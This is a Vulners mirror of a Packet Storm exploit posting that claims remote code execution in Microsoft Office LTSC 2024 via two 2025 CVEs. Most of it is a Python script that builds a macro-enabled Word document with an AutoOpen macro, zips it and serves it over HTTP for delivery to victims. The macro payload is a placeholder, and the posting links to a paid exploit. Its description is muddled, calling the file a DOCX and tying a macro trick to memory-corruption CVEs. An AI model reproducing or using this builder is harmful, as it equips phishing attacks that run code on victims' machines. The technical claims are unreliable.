Lucene search
+L

📄 Microsoft Excel LTSC 2024 Remote Code Execution

🗓️ 20 Jun 2025 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 117 Views

A malicious DOCX can execute code on opening, risking full machine compromise.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Microsoft 365 Apps for Enterprise Memory Use After Free
11 Apr 202500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Microsoft Office Memory Usage Code Execution
20 Jun 202500:00
–bdu_fstec
circl
Circl
CVE-2025-27751
8 Apr 202516:14
–circl
circl
Circl
CVE-2025-47957
10 Jun 202515:24
–circl
cnnvd
CNNVD
Microsoft Office resource management error vulnerabilities
8 Apr 202500:00
–cnnvd
cnnvd
CNNVD
Microsoft Word resource management error vulnerabilities
10 Jun 202500:00
–cnnvd
cnvd
CNVD
Microsoft Excel Code Execution Vulnerability (CNVD-2025-10609)
9 Apr 202500:00
–cnvd
cnvd
CNVD
Microsoft Word Code Execution Vulnerability (CNVD-2025-17474)
17 Jun 202500:00
–cnvd
cve
CVE
CVE-2025-27751
8 Apr 202517:23
–cve
cve
CVE
CVE-2025-47957
10 Jun 202517:02
–cve
Rows per page
# Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
    # Author: nu11secur1ty
    # Date: 06/16/2025
    # Vendor: Microsoft
    # Software: https://www.microsoft.com/en/microsoft-365/excel?market=af
    # Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27751
    # CVE-2025-47957
    # Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise 
    
    ## Description:
    The attacker can trick any user into opening and executing their code by
    sending a malicious DOCX file via email or a streaming server. After the
    execution of the victim, his machine can be infected or even worse than
    ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE
    MACROS OPTIONS FROM YOUR OFFICE 365!!!
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Exploit:
    
    ```
    #!/usr/bin/python
    # CVE-2025-47957 by nu11secur1ty
    import os
    import time
    import zipfile
    import threading
    import http.server
    import socket
    import socketserver
    import win32com.client
    
    def get_local_ip():
        """Get the LAN IP address of the current machine."""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("8.8.8.8", 80))  # External DNS, just for routing
            ip = s.getsockname()[0]
            s.close()
            return ip
        except:
            return "127.0.0.1"
    
    def create_docm_with_auto_macro(filename):
        script_dir = os.path.dirname(os.path.abspath(__file__))
        full_path = os.path.join(script_dir, filename)
    
        word = win32com.client.Dispatch("Word.Application")
        word.Visible = False
        doc = word.Documents.Add()
    
        doc.Content.Text = "This document contains an auto-starting macro."
    
        vbproject = doc.VBProject
        vbcomponent = vbproject.VBComponents.Add(1)  # Standard Module
    
        macro_code = '''
    Sub AutoOpen()
        Call YOUR_PoC
    End Sub
    
    Sub YOUR_PoC()
        Dim Program As String
        Dim TaskID As Double
        On Error Resume Next
        Program = "YOUR_EXPLOIT_HERE"
        TaskID = YOUR_TASK_HERE
        If Err <> 0 Then
            MsgBox "Can't start " & Program
        End If
    End Sub
    '''
        vbcomponent.CodeModule.AddFromString(macro_code)
    
        wdFormatXMLDocumentMacroEnabled = 13
        doc.SaveAs(full_path, FileFormat=wdFormatXMLDocumentMacroEnabled)
        doc.Close()
        word.Quit()
    
        print(f"[+] Macro-enabled .docm saved at: {full_path}")
        return full_path
    
    def compress_to_zip(filepath):
        zip_path = filepath + '.zip'
        with zipfile.ZipFile(zip_path, 'w') as zipf:
            zipf.write(filepath, arcname=os.path.basename(filepath))
        print(f"[+] Compressed to ZIP: {zip_path}")
        return zip_path
    
    def start_http_server(directory, port=8000):
        os.chdir(directory)
        handler = http.server.SimpleHTTPRequestHandler
        httpd = socketserver.TCPServer(("", port), handler)
        ip = get_local_ip()
        print(f"[+] HTTP server running at: http://{ip}:{port}/")
    
        thread = threading.Thread(target=httpd.serve_forever)
        thread.daemon = True
        thread.start()
        return httpd
    
    if __name__ == "__main__":
        filename = "CVE-2025-47957.docm"
        docm_path = create_docm_with_auto_macro(filename)
        zip_path = compress_to_zip(docm_path)
        server = start_http_server(os.path.dirname(docm_path))
    
        try:
            print("[*] Server running — press Ctrl+C to stop...")
            while True:
                time.sleep(1)
        except KeyboardInterrupt:
            print("\n[!] Ctrl+C detected — shutting down server...")
            server.shutdown()
            print("[+] The Exploit Server stopped. Goodbye!")
    
    ```
    
    # Reproduce:
    [href](https://www.youtube.com/watch?v=r4NsGrO56yo)
    
    # Buy an exploit only:
    [href](https://satoshidisk.com/pay/COeJqt)
    
    # Time spent:
    01:37:00

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2025 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.18.4
EPSS0.02484
SSVC
117